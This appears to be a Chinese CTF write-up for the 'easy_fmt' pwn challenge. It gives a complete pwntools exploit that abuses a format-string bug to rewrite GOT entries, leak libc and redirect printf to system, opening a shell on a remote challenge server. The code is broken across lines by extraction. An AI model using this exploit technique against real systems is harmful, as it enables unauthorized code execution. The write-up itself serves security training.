攻防世界PWN之easy fmt題解

2021-10-02 14:17:31 字數 3631 閱讀 6881

首先,檢查一下程式的保護機制

然後,我們用ida分析一下

存在乙個明顯的格式化字串漏洞,但是只能用一次,後面exit(0)會結束程式

checkin需要爆破

是乙個隨機數,且只有一位,我們直接輸入2,成功率1/10

為了不讓程式退出,多次利用printf,我們就得利用第一次的printf把exit的got表內容修改為0x400982,這樣,我們就能一直處於乙個迴圈,多次利用printf

由於relro為partial relro,是延遲繫結,因此,exit的got表初始值為這個

因此,我們只需要修改後兩位元組#修改

exit

的got

表,指向

main+0x7c

處,即形成乙個迴圈,這樣我們能繼續使用

printf

payload = 

'%'+ str(0x982) + 

'c%10$hn'

payload = payload.ljust(16,

'b') + p64(exit_got)  

sh.sendline(payload)  

接下來,為了得到system位址,我們準備洩露read函式位址,得到libc版本即基位址#洩露

read

位址payload = 

'%10$sbbb'

+ p64(read_got)  

sh.recvuntil(

'slogan: '

)  sh.sendline(payload)  

sh.recvuntil(

'slogan: '

)  sh.recv(1)  

read_addr = u64(sh.recvuntil(

'bbb'

,drop = true).ljust(8,

'\x00'

))  

libc = libcsearcher(

'read'

,read_addr)  

libc_base = read_addr - libc.dump(

'read'

)  system_addr = libc_base + libc.dump(

'system'

)print'libc_base='

,hex(libc_base)  

print'system_addr='

,hex(system_addr)  

接下來,我們需要修改printf的got表內容,指向system即可

綜上,我們的exp指令碼

#coding:utf8

frompwnimport*  

fromlibcsearcherimport*  

#sh = process('./easy_fmt')

sh = remote(

'111.198.29.45'

,53528)  

elf = elf(

'./easy_fmt'

)  printf_got = elf.got[

'printf'

]  read_got = elf.got[

'read'

]  exit_got = elf.got[

'exit'

]  sh.sendlineafter(

'enter:'

,'2'

)  #

修改exit

的got

表,指向

main+0x7c

處,即形成乙個迴圈,這樣我們能繼續使用

printf

payload = 

'%'+ str(0x982) + 

'c%10$hn'

payload = payload.ljust(16,

'b') + p64(exit_got)  

sh.sendline(payload)  #洩露

read

位址payload = 

'%10$sbbb'

+ p64(read_got)  

sh.recvuntil(

'slogan: '

)  sh.sendline(payload)  

sh.recvuntil(

'slogan: '

)  sh.recv(1)  

read_addr = u64(sh.recvuntil(

'bbb'

,drop = true).ljust(8,

'\x00'

))  

#print hex(read_addr)

libc = libcsearcher(

'read'

,read_addr)  

libc_base = read_addr - libc.dump(

'read'

)  system_addr = libc_base + libc.dump(

'system'

)print'libc_base='

,hex(libc_base)  

print'system_addr='

,hex(system_addr)  #修改

printf

的got

表,只需修改低

3位元組即可到

system

data = system_addr & 0xff  

payload = 

'%'+ str(data) + 

'c%14$hhn'

data = ((system_addr & 0xffffff) >> 8) - data  

payload += 

'%'+ str(data) + 

'c%15$hn'

payload = payload.ljust(32,

'b') + p64(printf_got) + p64(printf_got+1)  

sh.recvuntil(

'slogan: '

)  sh.sendline(payload)  

#get shell

sh.sendlineafter(

'slogan: '

,'/bin/sh'

)  sh.interactive()  

攻防世界PWN之Welpwn題解

首先用ida檢視 發現主函式不能棧溢位,我們看看echo這個函式 echo會把主函式輸入的字串複製到區域性的s2裡,並且s2只有16位元組,可以造成溢位。echo函式先迴圈複製字元到s2,如果遇到0,就結束複製,然後輸出s2。因此,我們如果想直接覆蓋函式返回位址,那麼我們的目標函式必須沒有引數,否則...

攻防世界PWN之dubblesort題解

首先看一下程式的保護機制 保護全開,並且是乙個32位程式 然後,我們用ida分析一下 這裡,有兩個漏洞 第乙個是在呼叫read之前,沒有呼叫memset對 buf清空,因此,buf裡可能之前會有一些殘留的關鍵資料 第二個是,輸入的整數個數沒有上限,可以造成資料溢位,其實也就是棧溢位。我們在read斷...

攻防世界PWN之Nobug題解

首先,檢查一下程式的保護機制 pie和nx沒開,那麼,我們可以輕鬆的布置shellcode到棧裡或bss段或堆裡,然後跳轉。免去了洩露libc位址這些。然後,我們用ida分析一下 看似好像這裡sprintf不存在漏洞,我們再看看其他函式 看見乙個很複雜的函式,我們看看那個位址處是什麼 是查表法,看起...